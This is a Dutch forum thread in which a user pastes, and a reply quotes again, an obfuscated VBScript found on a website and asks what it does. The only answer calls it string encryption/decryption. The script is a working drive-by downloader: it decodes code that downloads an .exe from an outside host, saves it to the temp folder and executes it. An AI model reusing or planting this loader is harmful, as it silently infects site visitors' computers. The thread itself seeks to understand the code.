Wat diet deze code ?

[henkie]

Ik heb een site en als je die opend dan ga je snel even naar een andere site (opend in een o frame)
de link heb ik geprobeerd en ik krijg een lege site te zien.
Kijk ik in de bron dan staat er wel code achter een VBS

code
wat gebeurd hier ?
Ik denk dat er een bestand geproduceerd wordt.


<SCRIPT LANGUAGE="VBS"><!--
d="=tdsjqu mbohvbhf>WCTdsjqu?

po fssps sftvnf ofyu



em > iuuq;00vtvbsjpt/bsofu/dpn/bs0bmwbsf{mvrvf0gmbti8/fyf

Tfu eg > epdvnfou/dsfbufFmf1#(pckfdu*

eg/tfuBuusjcvuf dmbttje-.#tje;CE:7D667.76B4.22E1.:94B.11D15GD3:F47=$y<$g/D6$P-$(Njdsptpgu/YNMIUUQ-C$tfu
TT#g$^$(Bepec/TusfbnO#T/uzqf > 2

tus7>HFU

y/Pqfo 6#- em- Gbmtf;#Tfoe

' Hfu ufnq ejsfdupsz boe ;$ pvs eftujobujpo obnf

g*#2>mtbtt)'w$Gw$,(joh/GjmfTztufnj%W%unq > G/HfuTqfdjbmGpmefs(3* m$nq g7#I$ G/CvjmeQbui(unq-;#$&pqfo+#xsjuf
y/sftqpotfCpez;#tbwfupgjmf Y#-3:#dmp4&\$R<%ifmm/Bqqmjd'&3%R/=#Fyfd,)v#A#-U$-1

=0t|%?=0cpez?=0iunm?=9#
(#-#7#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#
=0tdsjqu"
s=""
For i=1 To Len(d)
b=Mid(d,i,1)
a=Asc(b)
If a=1 Then a=9
If a=2 Then a=10
If a=3 Then a=13
If a=4 Then a=34
If a<=31 And a>=14 Then
s=s+Mid(s,Len(s)-(Asc(Mid(d,i+1,1))-36+90*(Asc(Mid(d,i+2,1))-35)),a-14+4)
i=i+2
Else
if a>=41 and a<=127 then a=a-1
if a <127 then s=s+Chr(a) else s=s+b
End If
Next
document.write s

--></SCRIPT>

[Jawade]

Post by henkie
Ik heb een site en als je die opend dan ga je snel even naar een andere site (opend in een o frame)
de link heb ik geprobeerd en ik krijg een lege site te zien.
Kijk ik in de bron dan staat er wel code achter een VBS
code
wat gebeurd hier ?
Ik denk dat er een bestand geproduceerd wordt.
<SCRIPT LANGUAGE="VBS"><!--
d="=tdsjqu mbohvbhf>WCTdsjqu?
po fssps sftvnf ofyu
em > iuuq;00vtvbsjpt/bsofu/dpn/bs0bmwbsf{mvrvf0gmbti8/fyf
Tfu eg > epdvnfou/dsfbufFmf1#(pckfdu*
eg/tfuBuusjcvuf dmbttje-.#tje;CE:7D667.76B4.22E1.:94B.11D15GD3:F47=$y<$g/D6$P-$(Njdsptpgu/YNMIUUQ-C$tfu
TT#g$^$(Bepec/TusfbnO#T/uzqf > 2
tus7>HFU
y/Pqfo 6#- em- Gbmtf;#Tfoe
' Hfu ufnq ejsfdupsz boe ;$ pvs eftujobujpo obnf
g*#2>mtbtt)'w$Gw$,(joh/GjmfTztufnj%W%unq > G/HfuTqfdjbmGpmefs(3* m$nq g7#I$ G/CvjmeQbui(unq-;#$&pqfo+#xsjuf
y/sftqpotfCpez;#tbwfupgjmf Y#-3:#dmp4&\$R<%ifmm/Bqqmjd'&3%R/=#Fyfd,)v#A#-U$-1
=0t|%?=0cpez?=0iunm?=9#
(#-#7#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#8#
=0tdsjqu"
s=""
For i=1 To Len(d)
b=Mid(d,i,1)
a=Asc(b)
If a=1 Then a=9
If a=2 Then a=10
If a=3 Then a=13
If a=4 Then a=34
If a<=31 And a>=14 Then
s=s+Mid(s,Len(s)-(Asc(Mid(d,i+1,1))-36+90*(Asc(Mid(d,i+2,1))-35)),a-14+4)
i=i+2
Else
if a>=41 and a<=127 then a=a-1
if a <127 then s=s+Chr(a) else s=s+b
End If
Next
document.write s
--></SCRIPT>

Een string versleutelen/ontsleutelen.